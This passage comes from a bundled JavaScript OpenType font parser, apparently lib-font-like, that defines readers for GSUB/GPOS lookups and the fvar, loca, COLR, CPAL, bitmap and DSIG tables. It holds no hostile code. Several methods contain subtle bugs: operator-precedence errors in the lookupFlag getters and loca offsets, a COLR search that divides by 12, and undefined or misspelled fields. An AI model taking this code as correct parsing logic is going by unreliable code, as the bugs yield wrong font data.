const tag = this.featureTag;
if ( tag === `size` ) return new Size( p );
if ( tag.startsWith( `cc` ) ) return new CharacterVariant( p );
if ( tag.startsWith( `ss` ) ) return new StylisticSet( p );
}
}
}
class CharacterVariant {
constructor( p ) {
this.format = p.uint16;
this.featUiLabelNameId = p.uint16;
this.featUiTooltipTextNameId = p.uint16;
this.sampleTextNameId = p.uint16;
this.numNamedParameters = p.uint16;
this.firstParamUiLabelNameId = p.uint16;
this.charCount = p.uint16;
this.character = [ ...new Array( this.charCount ) ].map(
( _ ) => p.uint24
);
}
}
class Size {
constructor( p ) {
this.designSize = p.uint16;
this.subfamilyIdentifier = p.uint16;
this.subfamilyNameID = p.uint16;
this.smallEnd = p.uint16;
this.largeEnd = p.uint16;
}
}
class StylisticSet {
constructor( p ) {
this.version = p.uint16;
this.UINameID = p.uint16;
}
}
function undoCoverageOffsetParsing( instance ) {
instance.parser.currentPosition -= 2;
delete instance.coverageOffset;
delete instance.getCoverageTable;
}
class LookupType$1 extends ParsedData {
constructor( p ) {
super( p );
this.substFormat = p.uint16;
this.coverageOffset = p.Offset16;
}
getCoverageTable() {
let p = this.parser;
p.currentPosition = this.start + this.coverageOffset;
return new CoverageTable( p );
}
}
class SubstLookupRecord {
constructor( p ) {
this.glyphSequenceIndex = p.uint16;
this.lookupListIndex = p.uint16;
}
}
class LookupType1$1 extends LookupType$1 {
constructor( p ) {
super( p );
this.deltaGlyphID = p.int16;
}
}
class LookupType2$1 extends LookupType$1 {
constructor( p ) {
super( p );
this.sequenceCount = p.uint16;
this.sequenceOffsets = [ ...new Array( this.sequenceCount ) ].map(
( _ ) => p.Offset16
);
}
getSequence( index ) {
let p = this.parser;
p.currentPosition = this.start + this.sequenceOffsets[ index ];
return new SequenceTable( p );
}
}
class SequenceTable {
constructor( p ) {
this.glyphCount = p.uint16;
this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.uint16
);
}
}
class LookupType3$1 extends LookupType$1 {
constructor( p ) {
super( p );
this.alternateSetCount = p.uint16;
this.alternateSetOffsets = [
...new Array( this.alternateSetCount ),
].map( ( _ ) => p.Offset16 );
}
getAlternateSet( index ) {
let p = this.parser;
p.currentPosition = this.start + this.alternateSetOffsets[ index ];
return new AlternateSetTable( p );
}
}
class AlternateSetTable {
constructor( p ) {
this.glyphCount = p.uint16;
this.alternateGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.uint16
);
}
}
class LookupType4$1 extends LookupType$1 {
constructor( p ) {
super( p );
this.ligatureSetCount = p.uint16;
this.ligatureSetOffsets = [ ...new Array( this.ligatureSetCount ) ].map(
( _ ) => p.Offset16
);
}
getLigatureSet( index ) {
let p = this.parser;
p.currentPosition = this.start + this.ligatureSetOffsets[ index ];
return new LigatureSetTable( p );
}
}
class LigatureSetTable extends ParsedData {
constructor( p ) {
super( p );
this.ligatureCount = p.uint16;
this.ligatureOffsets = [ ...new Array( this.ligatureCount ) ].map(
( _ ) => p.Offset16
);
}
getLigature( index ) {
let p = this.parser;
p.currentPosition = this.start + this.ligatureOffsets[ index ];
return new LigatureTable( p );
}
}
class LigatureTable {
constructor( p ) {
this.ligatureGlyph = p.uint16;
this.componentCount = p.uint16;
this.componentGlyphIDs = [
...new Array( this.componentCount - 1 ),
].map( ( _ ) => p.uint16 );
}
}
class LookupType5$1 extends LookupType$1 {
constructor( p ) {
super( p );
if ( this.substFormat === 1 ) {
this.subRuleSetCount = p.uint16;
this.subRuleSetOffsets = [
...new Array( this.subRuleSetCount ),
].map( ( _ ) => p.Offset16 );
}
if ( this.substFormat === 2 ) {
this.classDefOffset = p.Offset16;
this.subClassSetCount = p.uint16;
this.subClassSetOffsets = [
...new Array( this.subClassSetCount ),
].map( ( _ ) => p.Offset16 );
}
if ( this.substFormat === 3 ) {
undoCoverageOffsetParsing( this );
this.glyphCount = p.uint16;
this.substitutionCount = p.uint16;
this.coverageOffsets = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.Offset16
);
this.substLookupRecords = [
...new Array( this.substitutionCount ),
].map( ( _ ) => new SubstLookupRecord( p ) );
}
}
getSubRuleSet( index ) {
if ( this.substFormat !== 1 )
throw new Error(
`lookup type 5.${ this.substFormat } has no subrule sets.`
);
let p = this.parser;
p.currentPosition = this.start + this.subRuleSetOffsets[ index ];
return new SubRuleSetTable( p );
}
getSubClassSet( index ) {
if ( this.substFormat !== 2 )
throw new Error(
`lookup type 5.${ this.substFormat } has no subclass sets.`
);
let p = this.parser;
p.currentPosition = this.start + this.subClassSetOffsets[ index ];
return new SubClassSetTable( p );
}
getCoverageTable( index ) {
if ( this.substFormat !== 3 && ! index )
return super.getCoverageTable();
if ( ! index )
throw new Error(
`lookup type 5.${ this.substFormat } requires an coverage table index.`
);
let p = this.parser;
p.currentPosition = this.start + this.coverageOffsets[ index ];
return new CoverageTable( p );
}
}
class SubRuleSetTable extends ParsedData {
constructor( p ) {
super( p );
this.subRuleCount = p.uint16;
this.subRuleOffsets = [ ...new Array( this.subRuleCount ) ].map(
( _ ) => p.Offset16
);
}
getSubRule( index ) {
let p = this.parser;
p.currentPosition = this.start + this.subRuleOffsets[ index ];
return new SubRuleTable( p );
}
}
class SubRuleTable {
constructor( p ) {
this.glyphCount = p.uint16;
this.substitutionCount = p.uint16;
this.inputSequence = [ ...new Array( this.glyphCount - 1 ) ].map(
( _ ) => p.uint16
);
this.substLookupRecords = [
...new Array( this.substitutionCount ),
].map( ( _ ) => new SubstLookupRecord( p ) );
}
}
class SubClassSetTable extends ParsedData {
constructor( p ) {
super( p );
this.subClassRuleCount = p.uint16;
this.subClassRuleOffsets = [
...new Array( this.subClassRuleCount ),
].map( ( _ ) => p.Offset16 );
}
getSubClass( index ) {
let p = this.parser;
p.currentPosition = this.start + this.subClassRuleOffsets[ index ];
return new SubClassRuleTable( p );
}
}
class SubClassRuleTable extends SubRuleTable {
constructor( p ) {
super( p );
}
}
class LookupType6$1 extends LookupType$1 {
constructor( p ) {
super( p );
if ( this.substFormat === 1 ) {
this.chainSubRuleSetCount = p.uint16;
this.chainSubRuleSetOffsets = [
...new Array( this.chainSubRuleSetCount ),
].map( ( _ ) => p.Offset16 );
}
if ( this.substFormat === 2 ) {
this.backtrackClassDefOffset = p.Offset16;
this.inputClassDefOffset = p.Offset16;
this.lookaheadClassDefOffset = p.Offset16;
this.chainSubClassSetCount = p.uint16;
this.chainSubClassSetOffsets = [
...new Array( this.chainSubClassSetCount ),
].map( ( _ ) => p.Offset16 );
}
if ( this.substFormat === 3 ) {
undoCoverageOffsetParsing( this );
this.backtrackGlyphCount = p.uint16;
this.backtrackCoverageOffsets = [
...new Array( this.backtrackGlyphCount ),
].map( ( _ ) => p.Offset16 );
this.inputGlyphCount = p.uint16;
this.inputCoverageOffsets = [
...new Array( this.inputGlyphCount ),
].map( ( _ ) => p.Offset16 );
this.lookaheadGlyphCount = p.uint16;
this.lookaheadCoverageOffsets = [
...new Array( this.lookaheadGlyphCount ),
].map( ( _ ) => p.Offset16 );
this.seqLookupCount = p.uint16;
this.seqLookupRecords = [
...new Array( this.substitutionCount ),
].map( ( _ ) => new SequenceLookupRecord( p ) );
}
}
getChainSubRuleSet( index ) {
if ( this.substFormat !== 1 )
throw new Error(
`lookup type 6.${ this.substFormat } has no chainsubrule sets.`
);
let p = this.parser;
p.currentPosition = this.start + this.chainSubRuleSetOffsets[ index ];
return new ChainSubRuleSetTable( p );
}
getChainSubClassSet( index ) {
if ( this.substFormat !== 2 )
throw new Error(
`lookup type 6.${ this.substFormat } has no chainsubclass sets.`
);
let p = this.parser;
p.currentPosition = this.start + this.chainSubClassSetOffsets[ index ];
return new ChainSubClassSetTable( p );
}
getCoverageFromOffset( offset ) {
if ( this.substFormat !== 3 )
throw new Error(
`lookup type 6.${ this.substFormat } does not use contextual coverage offsets.`
);
let p = this.parser;
p.currentPosition = this.start + offset;
return new CoverageTable( p );
}
}
class ChainSubRuleSetTable extends ParsedData {
constructor( p ) {
super( p );
this.chainSubRuleCount = p.uint16;
this.chainSubRuleOffsets = [
...new Array( this.chainSubRuleCount ),
].map( ( _ ) => p.Offset16 );
}
getSubRule( index ) {
let p = this.parser;
p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
return new ChainSubRuleTable( p );
}
}
class ChainSubRuleTable {
constructor( p ) {
this.backtrackGlyphCount = p.uint16;
this.backtrackSequence = [
...new Array( this.backtrackGlyphCount ),
].map( ( _ ) => p.uint16 );
this.inputGlyphCount = p.uint16;
this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
( _ ) => p.uint16
);
this.lookaheadGlyphCount = p.uint16;
this.lookAheadSequence = [
...new Array( this.lookAheadGlyphCount ),
].map( ( _ ) => p.uint16 );
this.substitutionCount = p.uint16;
this.substLookupRecords = [ ...new Array( this.SubstCount ) ].map(
( _ ) => new SubstLookupRecord( p )
);
}
}
class ChainSubClassSetTable extends ParsedData {
constructor( p ) {
super( p );
this.chainSubClassRuleCount = p.uint16;
this.chainSubClassRuleOffsets = [
...new Array( this.chainSubClassRuleCount ),
].map( ( _ ) => p.Offset16 );
}
getSubClass( index ) {
let p = this.parser;
p.currentPosition = this.start + this.chainSubRuleOffsets[ index ];
return new ChainSubClassRuleTable( p );
}
}
class ChainSubClassRuleTable {
constructor( p ) {
this.backtrackGlyphCount = p.uint16;
this.backtrackSequence = [
...new Array( this.backtrackGlyphCount ),
].map( ( _ ) => p.uint16 );
this.inputGlyphCount = p.uint16;
this.inputSequence = [ ...new Array( this.inputGlyphCount - 1 ) ].map(
( _ ) => p.uint16
);
this.lookaheadGlyphCount = p.uint16;
this.lookAheadSequence = [
...new Array( this.lookAheadGlyphCount ),
].map( ( _ ) => p.uint16 );
this.substitutionCount = p.uint16;
this.substLookupRecords = [
...new Array( this.substitutionCount ),
].map( ( _ ) => new SequenceLookupRecord( p ) );
}
}
class SequenceLookupRecord extends ParsedData {
constructor( p ) {
super( p );
this.sequenceIndex = p.uint16;
this.lookupListIndex = p.uint16;
}
}
class LookupType7$1 extends ParsedData {
constructor( p ) {
super( p );
this.substFormat = p.uint16;
this.extensionLookupType = p.uint16;
this.extensionOffset = p.Offset32;
}
}
class LookupType8$1 extends LookupType$1 {
constructor( p ) {
super( p );
this.backtrackGlyphCount = p.uint16;
this.backtrackCoverageOffsets = [
...new Array( this.backtrackGlyphCount ),
].map( ( _ ) => p.Offset16 );
this.lookaheadGlyphCount = p.uint16;
this.lookaheadCoverageOffsets = [
new Array( this.lookaheadGlyphCount ),
].map( ( _ ) => p.Offset16 );
this.glyphCount = p.uint16;
this.substituteGlyphIDs = [ ...new Array( this.glyphCount ) ].map(
( _ ) => p.uint16
);
}
}
var GSUBtables = {
buildSubtable: function ( type, p ) {
const subtable = new [
undefined,
LookupType1$1,
LookupType2$1,
LookupType3$1,
LookupType4$1,
LookupType5$1,
LookupType6$1,
LookupType7$1,
LookupType8$1,
][ type ]( p );
subtable.type = type;
return subtable;
},
};
class LookupType extends ParsedData {
constructor( p ) {
super( p );
}
}
class LookupType1 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 1` );
}
}
class LookupType2 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 2` );
}
}
class LookupType3 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 3` );
}
}
class LookupType4 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 4` );
}
}
class LookupType5 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 5` );
}
}
class LookupType6 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 6` );
}
}
class LookupType7 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 7` );
}
}
class LookupType8 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 8` );
}
}
class LookupType9 extends LookupType {
constructor( p ) {
super( p );
console.log( `lookup type 9` );
}
}
var GPOStables = {
buildSubtable: function ( type, p ) {
const subtable = new [
undefined,
LookupType1,
LookupType2,
LookupType3,
LookupType4,
LookupType5,
LookupType6,
LookupType7,
LookupType8,
LookupType9,
][ type ]( p );
subtable.type = type;
return subtable;
},
};
class LookupList extends ParsedData {
static EMPTY = { lookupCount: 0, lookups: [] };
constructor( p ) {
super( p );
this.lookupCount = p.uint16;
this.lookups = [ ...new Array( this.lookupCount ) ].map(
( _ ) => p.Offset16
);
}
}
class LookupTable extends ParsedData {
constructor( p, type ) {
super( p );
this.ctType = type;
this.lookupType = p.uint16;
this.lookupFlag = p.uint16;
this.subTableCount = p.uint16;
this.subtableOffsets = [ ...new Array( this.subTableCount ) ].map(
( _ ) => p.Offset16
);
this.markFilteringSet = p.uint16;
}
get rightToLeft() {
return this.lookupFlag & ( 1 === 1 );
}
get ignoreBaseGlyphs() {
return this.lookupFlag & ( 2 === 2 );
}
get ignoreLigatures() {
return this.lookupFlag & ( 4 === 4 );
}
get ignoreMarks() {
return this.lookupFlag & ( 8 === 8 );
}
get useMarkFilteringSet() {
return this.lookupFlag & ( 16 === 16 );
}
get markAttachmentType() {
return this.lookupFlag & ( 65280 === 65280 );
}
getSubTable( index ) {
const builder = this.ctType === `GSUB` ? GSUBtables : GPOStables;
this.parser.currentPosition =
this.start + this.subtableOffsets[ index ];
return builder.buildSubtable( this.lookupType, this.parser );
}
}
class CommonLayoutTable extends SimpleTable {
constructor( dict, dataview, name ) {
const { p: p, tableStart: tableStart } = super( dict, dataview, name );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.scriptListOffset = p.Offset16;
this.featureListOffset = p.Offset16;
this.lookupListOffset = p.Offset16;
if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
this.featureVariationsOffset = p.Offset32;
}
const no_content = ! (
this.scriptListOffset ||
this.featureListOffset ||
this.lookupListOffset
);
lazy$1( this, `scriptList`, () => {
if ( no_content ) return ScriptList.EMPTY;
p.currentPosition = tableStart + this.scriptListOffset;
return new ScriptList( p );
} );
lazy$1( this, `featureList`, () => {
if ( no_content ) return FeatureList.EMPTY;
p.currentPosition = tableStart + this.featureListOffset;
return new FeatureList( p );
} );
lazy$1( this, `lookupList`, () => {
if ( no_content ) return LookupList.EMPTY;
p.currentPosition = tableStart + this.lookupListOffset;
return new LookupList( p );
} );
if ( this.featureVariationsOffset ) {
lazy$1( this, `featureVariations`, () => {
if ( no_content ) return FeatureVariations.EMPTY;
p.currentPosition = tableStart + this.featureVariationsOffset;
return new FeatureVariations( p );
} );
}
}
getSupportedScripts() {
return this.scriptList.scriptRecords.map( ( r ) => r.scriptTag );
}
getScriptTable( scriptTag ) {
let record = this.scriptList.scriptRecords.find(
( r ) => r.scriptTag === scriptTag
);
this.parser.currentPosition =
this.scriptList.start + record.scriptOffset;
let table = new ScriptTable( this.parser );
table.scriptTag = scriptTag;
return table;
}
ensureScriptTable( arg ) {
if ( typeof arg === 'string' ) {
return this.getScriptTable( arg );
}
return arg;
}
getSupportedLangSys( scriptTable ) {
scriptTable = this.ensureScriptTable( scriptTable );
const hasDefault = scriptTable.defaultLangSys !== 0;
const supported = scriptTable.langSysRecords.map(
( l ) => l.langSysTag
);
if ( hasDefault ) supported.unshift( `dflt` );
return supported;
}
getDefaultLangSysTable( scriptTable ) {
scriptTable = this.ensureScriptTable( scriptTable );
let offset = scriptTable.defaultLangSys;
if ( offset !== 0 ) {
this.parser.currentPosition = scriptTable.start + offset;
let table = new LangSysTable( this.parser );
table.langSysTag = ``;
table.defaultForScript = scriptTable.scriptTag;
return table;
}
}
getLangSysTable( scriptTable, langSysTag = `dflt` ) {
if ( langSysTag === `dflt` )
return this.getDefaultLangSysTable( scriptTable );
scriptTable = this.ensureScriptTable( scriptTable );
let record = scriptTable.langSysRecords.find(
( l ) => l.langSysTag === langSysTag
);
this.parser.currentPosition = scriptTable.start + record.langSysOffset;
let table = new LangSysTable( this.parser );
table.langSysTag = langSysTag;
return table;
}
getFeatures( langSysTable ) {
return langSysTable.featureIndices.map( ( index ) =>
this.getFeature( index )
);
}
getFeature( indexOrTag ) {
let record;
if ( parseInt( indexOrTag ) == indexOrTag ) {
record = this.featureList.featureRecords[ indexOrTag ];
} else {
record = this.featureList.featureRecords.find(
( f ) => f.featureTag === indexOrTag
);
}
if ( ! record ) return;
this.parser.currentPosition =
this.featureList.start + record.featureOffset;
let table = new FeatureTable( this.parser );
table.featureTag = record.featureTag;
return table;
}
getLookups( featureTable ) {
return featureTable.lookupListIndices.map( ( index ) =>
this.getLookup( index )
);
}
getLookup( lookupIndex, type ) {
let lookupOffset = this.lookupList.lookups[ lookupIndex ];
this.parser.currentPosition = this.lookupList.start + lookupOffset;
return new LookupTable( this.parser, type );
}
}
class GSUB extends CommonLayoutTable {
constructor( dict, dataview ) {
super( dict, dataview, `GSUB` );
}
getLookup( lookupIndex ) {
return super.getLookup( lookupIndex, `GSUB` );
}
}
var GSUB$1 = Object.freeze( { __proto__: null, GSUB: GSUB } );
class GPOS extends CommonLayoutTable {
constructor( dict, dataview ) {
super( dict, dataview, `GPOS` );
}
getLookup( lookupIndex ) {
return super.getLookup( lookupIndex, `GPOS` );
}
}
var GPOS$1 = Object.freeze( { __proto__: null, GPOS: GPOS } );
class SVG extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.offsetToSVGDocumentList = p.Offset32;
p.currentPosition = this.tableStart + this.offsetToSVGDocumentList;
this.documentList = new SVGDocumentList( p );
}
}
class SVGDocumentList extends ParsedData {
constructor( p ) {
super( p );
this.numEntries = p.uint16;
this.documentRecords = [ ...new Array( this.numEntries ) ].map(
( _ ) => new SVGDocumentRecord( p )
);
}
getDocument( documentID ) {
let record = this.documentRecords[ documentID ];
if ( ! record ) return '';
let offset = this.start + record.svgDocOffset;
this.parser.currentPosition = offset;
return this.parser.readBytes( record.svgDocLength );
}
getDocumentForGlyph( glyphID ) {
let id = this.documentRecords.findIndex(
( d ) => d.startGlyphID <= glyphID && glyphID <= d.endGlyphID
);
if ( id === -1 ) return '';
return this.getDocument( id );
}
}
class SVGDocumentRecord {
constructor( p ) {
this.startGlyphID = p.uint16;
this.endGlyphID = p.uint16;
this.svgDocOffset = p.Offset32;
this.svgDocLength = p.uint32;
}
}
var SVG$1 = Object.freeze( { __proto__: null, SVG: SVG } );
class fvar extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.axesArrayOffset = p.Offset16;
p.uint16;
this.axisCount = p.uint16;
this.axisSize = p.uint16;
this.instanceCount = p.uint16;
this.instanceSize = p.uint16;
const axisStart = this.tableStart + this.axesArrayOffset;
lazy$1( this, `axes`, () => {
p.currentPosition = axisStart;
return [ ...new Array( this.axisCount ) ].map(
( _ ) => new VariationAxisRecord( p )
);
} );
const instanceStart = axisStart + this.axisCount * this.axisSize;
lazy$1( this, `instances`, () => {
let instances = [];
for ( let i = 0; i < this.instanceCount; i++ ) {
p.currentPosition = instanceStart + i * this.instanceSize;
instances.push(
new InstanceRecord( p, this.axisCount, this.instanceSize )
);
}
return instances;
} );
}
getSupportedAxes() {
return this.axes.map( ( a ) => a.tag );
}
getAxis( name ) {
return this.axes.find( ( a ) => a.tag === name );
}
}
class VariationAxisRecord {
constructor( p ) {
this.tag = p.tag;
this.minValue = p.fixed;
this.defaultValue = p.fixed;
this.maxValue = p.fixed;
this.flags = p.flags( 16 );
this.axisNameID = p.uint16;
}
}
class InstanceRecord {
constructor( p, axisCount, size ) {
let start = p.currentPosition;
this.subfamilyNameID = p.uint16;
p.uint16;
this.coordinates = [ ...new Array( axisCount ) ].map(
( _ ) => p.fixed
);
if ( p.currentPosition - start < size ) {
this.postScriptNameID = p.uint16;
}
}
}
var fvar$1 = Object.freeze( { __proto__: null, fvar: fvar } );
class cvt extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
const n = dict.length / 2;
lazy$1( this, `items`, () =>
[ ...new Array( n ) ].map( ( _ ) => p.fword )
);
}
}
var cvt$1 = Object.freeze( { __proto__: null, cvt: cvt } );
class fpgm extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
lazy$1( this, `instructions`, () =>
[ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
);
}
}
var fpgm$1 = Object.freeze( { __proto__: null, fpgm: fpgm } );
class gasp extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numRanges = p.uint16;
const getter = () =>
[ ...new Array( this.numRanges ) ].map(
( _ ) => new GASPRange( p )
);
lazy$1( this, `gaspRanges`, getter );
}
}
class GASPRange {
constructor( p ) {
this.rangeMaxPPEM = p.uint16;
this.rangeGaspBehavior = p.uint16;
}
}
var gasp$1 = Object.freeze( { __proto__: null, gasp: gasp } );
class glyf extends SimpleTable {
constructor( dict, dataview ) {
super( dict, dataview );
}
getGlyphData( offset, length ) {
this.parser.currentPosition = this.tableStart + offset;
return this.parser.readBytes( length );
}
}
var glyf$1 = Object.freeze( { __proto__: null, glyf: glyf } );
class loca extends SimpleTable {
constructor( dict, dataview, tables ) {
const { p: p } = super( dict, dataview );
const n = tables.maxp.numGlyphs + 1;
if ( tables.head.indexToLocFormat === 0 ) {
this.x2 = true;
lazy$1( this, `offsets`, () =>
[ ...new Array( n ) ].map( ( _ ) => p.Offset16 )
);
} else {
lazy$1( this, `offsets`, () =>
[ ...new Array( n ) ].map( ( _ ) => p.Offset32 )
);
}
}
getGlyphDataOffsetAndLength( glyphID ) {
let offset = this.offsets[ glyphID ] * this.x2 ? 2 : 1;
let nextOffset = this.offsets[ glyphID + 1 ] * this.x2 ? 2 : 1;
return { offset: offset, length: nextOffset - offset };
}
}
var loca$1 = Object.freeze( { __proto__: null, loca: loca } );
class prep extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
lazy$1( this, `instructions`, () =>
[ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
);
}
}
var prep$1 = Object.freeze( { __proto__: null, prep: prep } );
class CFF extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
lazy$1( this, `data`, () => p.readBytes() );
}
}
var CFF$1 = Object.freeze( { __proto__: null, CFF: CFF } );
class CFF2 extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
lazy$1( this, `data`, () => p.readBytes() );
}
}
var CFF2$1 = Object.freeze( { __proto__: null, CFF2: CFF2 } );
class VORG extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.defaultVertOriginY = p.int16;
this.numVertOriginYMetrics = p.uint16;
lazy$1( this, `vertORiginYMetrics`, () =>
[ ...new Array( this.numVertOriginYMetrics ) ].map(
( _ ) => new VertOriginYMetric( p )
)
);
}
}
class VertOriginYMetric {
constructor( p ) {
this.glyphIndex = p.uint16;
this.vertOriginY = p.int16;
}
}
var VORG$1 = Object.freeze( { __proto__: null, VORG: VORG } );
class BitmapSize {
constructor( p ) {
this.indexSubTableArrayOffset = p.Offset32;
this.indexTablesSize = p.uint32;
this.numberofIndexSubTables = p.uint32;
this.colorRef = p.uint32;
this.hori = new SbitLineMetrics( p );
this.vert = new SbitLineMetrics( p );
this.startGlyphIndex = p.uint16;
this.endGlyphIndex = p.uint16;
this.ppemX = p.uint8;
this.ppemY = p.uint8;
this.bitDepth = p.uint8;
this.flags = p.int8;
}
}
class BitmapScale {
constructor( p ) {
this.hori = new SbitLineMetrics( p );
this.vert = new SbitLineMetrics( p );
this.ppemX = p.uint8;
this.ppemY = p.uint8;
this.substitutePpemX = p.uint8;
this.substitutePpemY = p.uint8;
}
}
class SbitLineMetrics {
constructor( p ) {
this.ascender = p.int8;
this.descender = p.int8;
this.widthMax = p.uint8;
this.caretSlopeNumerator = p.int8;
this.caretSlopeDenominator = p.int8;
this.caretOffset = p.int8;
this.minOriginSB = p.int8;
this.minAdvanceSB = p.int8;
this.maxBeforeBL = p.int8;
this.minAfterBL = p.int8;
this.pad1 = p.int8;
this.pad2 = p.int8;
}
}
class EBLC extends SimpleTable {
constructor( dict, dataview, name ) {
const { p: p } = super( dict, dataview, name );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.numSizes = p.uint32;
lazy$1( this, `bitMapSizes`, () =>
[ ...new Array( this.numSizes ) ].map(
( _ ) => new BitmapSize( p )
)
);
}
}
var EBLC$1 = Object.freeze( { __proto__: null, EBLC: EBLC } );
class EBDT extends SimpleTable {
constructor( dict, dataview, name ) {
const { p: p } = super( dict, dataview, name );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
}
}
var EBDT$1 = Object.freeze( { __proto__: null, EBDT: EBDT } );
class EBSC extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.majorVersion = p.uint16;
this.minorVersion = p.uint16;
this.numSizes = p.uint32;
lazy$1( this, `bitmapScales`, () =>
[ ...new Array( this.numSizes ) ].map(
( _ ) => new BitmapScale( p )
)
);
}
}
var EBSC$1 = Object.freeze( { __proto__: null, EBSC: EBSC } );
class CBLC extends EBLC {
constructor( dict, dataview ) {
super( dict, dataview, `CBLC` );
}
}
var CBLC$1 = Object.freeze( { __proto__: null, CBLC: CBLC } );
class CBDT extends EBDT {
constructor( dict, dataview ) {
super( dict, dataview, `CBDT` );
}
}
var CBDT$1 = Object.freeze( { __proto__: null, CBDT: CBDT } );
class sbix extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.flags = p.flags( 16 );
this.numStrikes = p.uint32;
lazy$1( this, `strikeOffsets`, () =>
[ ...new Array( this.numStrikes ) ].map( ( _ ) => p.Offset32 )
);
}
}
var sbix$1 = Object.freeze( { __proto__: null, sbix: sbix } );
class COLR extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numBaseGlyphRecords = p.uint16;
this.baseGlyphRecordsOffset = p.Offset32;
this.layerRecordsOffset = p.Offset32;
this.numLayerRecords = p.uint16;
}
getBaseGlyphRecord( glyphID ) {
let start = this.tableStart + this.baseGlyphRecordsOffset;
this.parser.currentPosition = start;
let first = new BaseGlyphRecord( this.parser );
let firstID = first.gID;
let end = this.tableStart + this.layerRecordsOffset - 6;
this.parser.currentPosition = end;
let last = new BaseGlyphRecord( this.parser );
let lastID = last.gID;
if ( firstID === glyphID ) return first;
if ( lastID === glyphID ) return last;
while ( true ) {
if ( start === end ) break;
let mid = start + ( end - start ) / 12;
this.parser.currentPosition = mid;
let middle = new BaseGlyphRecord( this.parser );
let midID = middle.gID;
if ( midID === glyphID ) return middle;
else if ( midID > glyphID ) {
end = mid;
} else if ( midID < glyphID ) {
start = mid;
}
}
return false;
}
getLayers( glyphID ) {
let record = this.getBaseGlyphRecord( glyphID );
this.parser.currentPosition =
this.tableStart +
this.layerRecordsOffset +
4 * record.firstLayerIndex;
return [ ...new Array( record.numLayers ) ].map(
( _ ) => new LayerRecord( p )
);
}
}
class BaseGlyphRecord {
constructor( p ) {
this.gID = p.uint16;
this.firstLayerIndex = p.uint16;
this.numLayers = p.uint16;
}
}
class LayerRecord {
constructor( p ) {
this.gID = p.uint16;
this.paletteIndex = p.uint16;
}
}
var COLR$1 = Object.freeze( { __proto__: null, COLR: COLR } );
class CPAL extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numPaletteEntries = p.uint16;
const numPalettes = ( this.numPalettes = p.uint16 );
this.numColorRecords = p.uint16;
this.offsetFirstColorRecord = p.Offset32;
this.colorRecordIndices = [ ...new Array( this.numPalettes ) ].map(
( _ ) => p.uint16
);
lazy$1( this, `colorRecords`, () => {
p.currentPosition = this.tableStart + this.offsetFirstColorRecord;
return [ ...new Array( this.numColorRecords ) ].map(
( _ ) => new ColorRecord( p )
);
} );
if ( this.version === 1 ) {
this.offsetPaletteTypeArray = p.Offset32;
this.offsetPaletteLabelArray = p.Offset32;
this.offsetPaletteEntryLabelArray = p.Offset32;
lazy$1( this, `paletteTypeArray`, () => {
p.currentPosition =
this.tableStart + this.offsetPaletteTypeArray;
return new PaletteTypeArray( p, numPalettes );
} );
lazy$1( this, `paletteLabelArray`, () => {
p.currentPosition =
this.tableStart + this.offsetPaletteLabelArray;
return new PaletteLabelsArray( p, numPalettes );
} );
lazy$1( this, `paletteEntryLabelArray`, () => {
p.currentPosition =
this.tableStart + this.offsetPaletteEntryLabelArray;
return new PaletteEntryLabelArray( p, numPalettes );
} );
}
}
}
class ColorRecord {
constructor( p ) {
this.blue = p.uint8;
this.green = p.uint8;
this.red = p.uint8;
this.alpha = p.uint8;
}
}
class PaletteTypeArray {
constructor( p, numPalettes ) {
this.paletteTypes = [ ...new Array( numPalettes ) ].map(
( _ ) => p.uint32
);
}
}
class PaletteLabelsArray {
constructor( p, numPalettes ) {
this.paletteLabels = [ ...new Array( numPalettes ) ].map(
( _ ) => p.uint16
);
}
}
class PaletteEntryLabelArray {
constructor( p, numPalettes ) {
this.paletteEntryLabels = [ ...new Array( numPalettes ) ].map(
( _ ) => p.uint16
);
}
}
var CPAL$1 = Object.freeze( { __proto__: null, CPAL: CPAL } );
class DSIG extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint32;
this.numSignatures = p.uint16;
this.flags = p.uint16;
this.signatureRecords = [ ...new Array( this.numSignatures ) ].map(
( _ ) => new SignatureRecord( p )
);
}
getData( signatureID ) {
const record = this.signatureRecords[ signatureID ];
this.parser.currentPosition = this.tableStart + record.offset;
return new SignatureBlockFormat1( this.parser );
}
}
class SignatureRecord {
